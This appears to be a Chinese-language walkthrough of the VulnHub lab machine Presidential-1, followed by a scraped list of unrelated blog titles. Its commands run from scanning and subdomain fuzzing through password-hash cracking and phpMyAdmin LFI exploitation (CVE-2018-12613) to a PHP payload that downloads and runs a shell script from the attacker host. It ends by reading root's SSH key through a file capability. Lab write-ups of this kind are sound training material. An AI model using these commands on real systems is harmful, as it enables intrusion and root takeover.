Presidential-01
环境搭建
官网地址:https://www.vulnhub.com/entry/presidential-1,500/
靶机下载地址: https://download.vulnhub.com/presidential/Presidential.ova.torrent
靶机下载完成后将.ova文件导入VMWare

网卡设置为NET模式

环境:
kali:192.168.164.137
Presidential:192.168.164.178
信息收集
扫描主机
nmap -sP 192.168.164.0/24

得到目标靶机的ip地址为192.168.102.134
接着进行端口扫描
nmap -A 192.168.164.178 -p 1-65535

扫描得到目标靶机开放了80端口和2082端口,分别为http和ssh端口
访问80端口:

进行指纹识别:
whatweb http://192.168.164.178

可获得一些信息,php版本,Apache版本等。
使用dirsearch扫描该网站
./dirsearch.py -u http://192.168.164.178 -e*

扫到了一个config.php但是里面什么也没有,还有一个.bak备份文件,访问为空白,习惯性ctrl+u查看源码:

获得了数据库的配置信息,包括数据库用户名,用户密码等信息。但是服务器没有开启数据库端口,扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名,或许可以通过查找其子域名来发现突破点。
首页发现邮件信息:

votenow.local
将其添加到/etc/hosts中

可以正常访问:

接下来爆破子域名,使用subrake或wfuzz工具进行爆破。
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

找到一个datasafe的子域名
添加到host进行访问

输入获得的账户名及密码即可登录。
getshell
在users表中找到admin及加密了的一串密码

使用john进行解密
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt 1.txt
破解出来的密码为Stella尝试ssh登录一下

显示连接被拒绝。
可以通过phpmyadmin查看其版本为4.8.1

通过网络上搜索,发现存在本地文件包含漏洞(CVE-2018-12613)
首先执行
select '<?php phpinfo();exit;?>'

之后再包含session文件
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_3fel8hnjgqlpplu32s836aqgbhg990ib

可以看到成功执行了php代码,使用同样的方法进行反弹shell
先在kali的网站根目录创建一个shell.sh来供靶机下载

之后执行sql语句
select '<?php system("wget 192.168.164.137/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

执行完后在kali中监听1100端口

提权
直接su提权试一下

根目录的notes.txt文件提示的大概意思就是让我们使用压缩的命令

使用tars
查看tar的位置
whereis tar


在浏览过程中发现了tarS命令,该命令应该就是提示中所指的新的压缩备份命令了
在linux中引入了capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。与SUID相似,可以限制用户的权限。 查看文件系统中具有capabilities的文件进入文件位置

可以看到tarS命令具有 cap_dac_read_search功能。它可以绕过文件读权限检查,这样我们就可以读取任何我们想要读取的文件
我们可以通过读取root用户的SSH私钥来进行免密登陆
cd /tmp
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082
Presidential-01的更多相关文章
- 01.SQLServer性能优化之----强大的文件组----分盘存储
汇总篇:http://www.cnblogs.com/dunitian/p/4822808.html#tsql 文章内容皆自己的理解,如有不足之处欢迎指正~谢谢 前天有学弟问逆天:“逆天,有没有一种方 ...
- 用Kotlin创建第一个Android项目(KAD 01)
原文标题:Create your first Android project using Kotlin (KAD 01) 作者:Antonio Leiva 时间:Nov 21, 2016 原文链接:h ...
- Java企业实训 - 01 - Java前奏
前言: 虽然个人专攻.NET方向,不过由于个人是干教育行业的,方方面面的东西,不能说都必须精通,但肯定多少都会涉及到. 一个菜鸟学员,从啥都不会,经过一步步学习,最后到企业上手掌管一个模块甚至一个项目 ...
- Node.js 教程 01 - 简介、安装及配置
系列目录: Node.js 教程 01 - 简介.安装及配置 Node.js 教程 02 - 经典的Hello World Node.js 教程 03 - 创建HTTP服务器 Node.js 教程 0 ...
- 0042 MySQL学习笔记-入门--01
基本概念: 数据库DB(database): 数据的仓库,数据的集合,是数据的一种结构化的存储 数据库管理系统DBMS(database management system): 管理数据库的一套软件 ...
- Android快乐贪吃蛇游戏实战项目开发教程-01项目概述与目录
一.项目简介 贪吃蛇是一个很经典的游戏,也很适合用来学习.本教程将和大家一起做一个Android版的贪吃蛇游戏. 我已经将做好的案例上传到了应用宝,无病毒.无广告,大家可以放心下载下来把玩一下.应用宝 ...
- ArtifactTransferException: Failure to transfer org.apache.openejb:javaee-api:jar:5.0-1
最近在myeclipse上创建maven类型的web项目的时候,出现了一个错误. ArtifactTransferException: Failure to transfer org.apache.o ...
- Python学习--01入门
Python学习--01入门 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.和PHP一样,它是后端开发语言. 如果有C语言.PHP语言.JAVA语言等其中一种语言的基础,学习Py ...
- 异步编程系列第01章 Async异步编程简介
p { display: block; margin: 3px 0 0 0; } --> 2016.10.11补充 三个月过去了,回头来看,我不得不承认这是一系列失败的翻译.过段时间,我将重新翻 ...
- 【干货分享】前端面试知识点锦集01(HTML篇)——附答案
一.HTML部分 1.浏览器页面有哪三层构成,分别是什么,作用是什么? 构成:结构层.表示层.行为层分别是:HTML.CSS.JavaScript作用:HTML实现页面结构,CSS完成页面的表现与风格 ...
随机推荐
- 基于反熔丝FPGA、QSPI FLASH的高可靠程序存储、启动控制系统
1 涉及术语解释 1.1 三模冗余 三模冗余系统简称TMR(Triple Modular Redundancy),是最常用的一种容错设计技术.三个模块同时执行相同的操作,以多数相同的 ...
- 《PHP程序员面试笔试宝典》——如何应对面试官的“激将法”语言?
如何巧妙地回答面试官的问题? 本文摘自<PHP程序员面试笔试宝典> "激将法"是面试官用以淘汰求职者的一种惯用方法,它是指面试官采用怀疑.尖锐或咄咄逼人的交流方式来对求 ...
- Solution -「51nod 1514」美妙的序列
\(\mathcal{Description}\) Link. 称排列 \(\{p_n\}\) 美妙,当且仅当 \((\forall i\in[1,n))(\max_{j\in[1,i]}\{ ...
- Solution -「CF 1392G」Omkar and Pies
\(\mathcal{Description}\) Link. 给定两个长度为 \(K\) 的 \(01\) 串 \(S,T\) 和 \(n\) 组操作 \((a_i,b_i)\),意义为交换 ...
- v79.01 鸿蒙内核源码分析(用户态锁篇) | 如何使用快锁Futex(上) | 百篇博客分析OpenHarmony源码
百篇博客分析|本篇为:(用户态锁篇) | 如何使用快锁Futex(上) 进程通讯相关篇为: v26.08 鸿蒙内核源码分析(自旋锁) | 当立贞节牌坊的好同志 v27.05 鸿蒙内核源码分析(互斥锁) ...
- php使用CURL实现GET和POST方式请求
CURL请求,支持GET和POST两种方式,默认为GET方式,如果传第二个参数则为POST方式请求,设置了超时时间,避免程序卡死. /** 使用curl方式实现get或post请求 @param $u ...
- 多表查询思路、navicat可视化软件、python操作MySQL、SQL注入问题以及其他补充知识
昨日内容回顾 外键字段 # 就是用来建立表与表之间的关系的字段 表关系判断 # 一对一 # 一对多 # 多对多 """通过换位思考判断""" ...
- Linux 内存分析工具的命令大全介绍
在Linux系统经常被用作服务器系统.当服务器内存吃紧的时候,free命令是我们最常使用的内存分析工具. free使用介绍# free命令可以显示Linux系统中空闲的.已用的物理内存及swap内存, ...
- 从数据源支持、支持方式等角度深入了解Smartbi与Tableau
对数据分析来讲,数据源支持是基本功.让数据分析工具与数据保持一个通道,建立会话.用数据分析应用服务器与我们需要分析的业务数据进行连接,拿到需要的数据进行分析.Smartbi.Tableau系统给我们提 ...
- windev的弹窗详情页滚动条实现方法以及弹窗尺寸规划
按照企业信息系统的设计习惯,我们一般将信息以列表的方式在主窗口展现,同时设置需要展现的字段,一些系统会将这个窗口称为总表页.列表页等.而信息的编辑或完整信息的查询,一般通过一个弹窗来实现,一些系统会将 ...